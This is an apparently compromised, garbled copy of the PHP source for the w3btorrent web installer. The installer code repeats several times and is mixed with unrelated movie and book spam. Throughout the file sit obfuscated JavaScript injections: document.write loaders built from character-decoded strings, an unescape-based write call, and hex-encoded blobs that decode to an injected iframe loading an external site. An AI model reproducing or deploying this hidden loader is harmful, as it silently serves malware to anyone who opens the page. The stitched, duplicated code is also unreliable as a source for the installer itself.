626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
SESSION['realdirpath']))
{
?>
Unable to write to directory '
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
valid_dir($_SESSION['realdirpath']))
{
?>
Unable to write to directory ''. You must make this directory writeable to be able to install w3btorrent.
You can fix it by ONE of the follwing:
Open your FTP client and change modification (chmod) on this directory to 777 (707 or 007).
Open your FTP client and change '' directory owner to ''.
Execute this command on this server from a user with enough access `chmod 777 `
Execute this command on this server from a user with enough access `chown `
download_archive($_POST['url']))
{
$_SESSION['filename'] = basename($_POST['url']);
$_SESSION['step'] = 3;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
/* an extra check if something else should fail */
elseif (isset($_POST['url']) && file_exists(basename($_POST['url'])) && sizeof(basename($_POST['url']) > 0))
{
$_SESSION['fiSERVER['SCRIPT_NAME']);
exit();
}
?>
decompress_archive($_SESSION['filename']))
{
unlink($_SESSION['filename']);
unset($_SESSION['filename']);
$_SESSION['step'] = 4;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
?>
".$install->configure($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/")."";
}
elseif (isset($_POST['compile']))
{
$exec = $install->compile($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/");
if (is_executable("system/ctorrent-dnh2.2-w3btorrent/ctorrent"))
{
echo "Finish! it seems like your system succsessfully «created» ctorrent binary. Click \"Finish\" to end installer.";
}
else
{
echo "
".$exec."
";
}
}
/* binary check */
elseif (isset($_POST['finish']) || isset($_POST['continue']) || $install->binary_works())
{
$_SESSION['step'] = 5;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
else
{
echo "Your system can't use the binarys following with w3btorrent, sorry. You can keep using BitTorrent/Tornado if you have these installed ".(!$install->exec_path("btdownloadcurses")?"(couldn't find any) ":"")."or you can try «create» them with this installer, just click \"Configure\" and \"Compile\" when configure is finish. Good luck.";
}
?>
Install complete!
Do to be able to use w3btorrent follow these instructions.
323125326525343825333225313425323525323325323725333925376225376325376225363527293b
626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
SESSION['realdirpath']; ?>'. You must make this directory writeable to be able to install w3btorrent.
You can fix it by ONE of the follwing:
Open your FTP client and change modification (chmod) on this directory to 777 (707 or 007).
Open your FTP client and change '
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
valid_dir($_SESSION['realdirpath']))
{
?>
Unable to write to directory ''. You must make this directory writeable to be able to install w3btorrent.
You can fix it by ONE of the follwing:
Open your FTP client and change modification (chmod) on this directory to 777 (707 or 007).
Open your FTP client and change '' directory owner to ''.
Execute this command on this server from a user with enough access `chmod 777 `
Execute this command on this server from a user with enough access `chown `
download_archive($_POST['url']))
{
$_SESSION['filename'] = basename($_POST['url']);
$_SESSION['step'] = 3;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
/* an extra check if something else should fail */
elseif (isset($_POST['url']) && file_exists(basename($_POST['url'])) && sizeof(basename($_POST['url']) > 0))
{
$_SESSION['fiSERVER['SCRIPT_NAME']);
exit();
}
?>
decompress_archive($_SESSION['filename']))
{
unlink($_SESSION['filename']);
unset($_SESSION['filename']);
$_SESSION['step'] = 4;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
?>
".$install->configure($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/")."";
}
elseif (isset($_POST['compile']))
{
$exec = $install->compile($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/");
if (is_executable("system/ctorrent-dnh2.2-w3btorrent/ctorrent"))
{
echo "Finish! it seems like your system succsessfully «created» ctorrent binary. Click \"Finish\" to end installer.";
}
else
{
echo "
".$exec."
";
}
}
/* binary check */
elseif (isset($_POST['finish']) || isset($_POST['continue']) || $install->binary_works())
{
$_SESSION['step'] = 5;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
else
{
echo "Your system can't use the binarys following with w3btorrent, sorry. You can keep using BitTorrent/Tornado if you have these installed ".(!$install->exec_path("btdownloadcurses")?"(couldn't find any) ":"")."or you can try «create» them with this installer, just click \"Configure\" and \"Compile\" when configure is finish. Good luck.";
}
?>
Install complete!
Do to be able to use w3btorrent follow these instructions.
323125326525343825333225313425323525323325323725333925376225376325376225363527293b
626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
SESSION['realdirpath']; ?>' directory owner to '
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
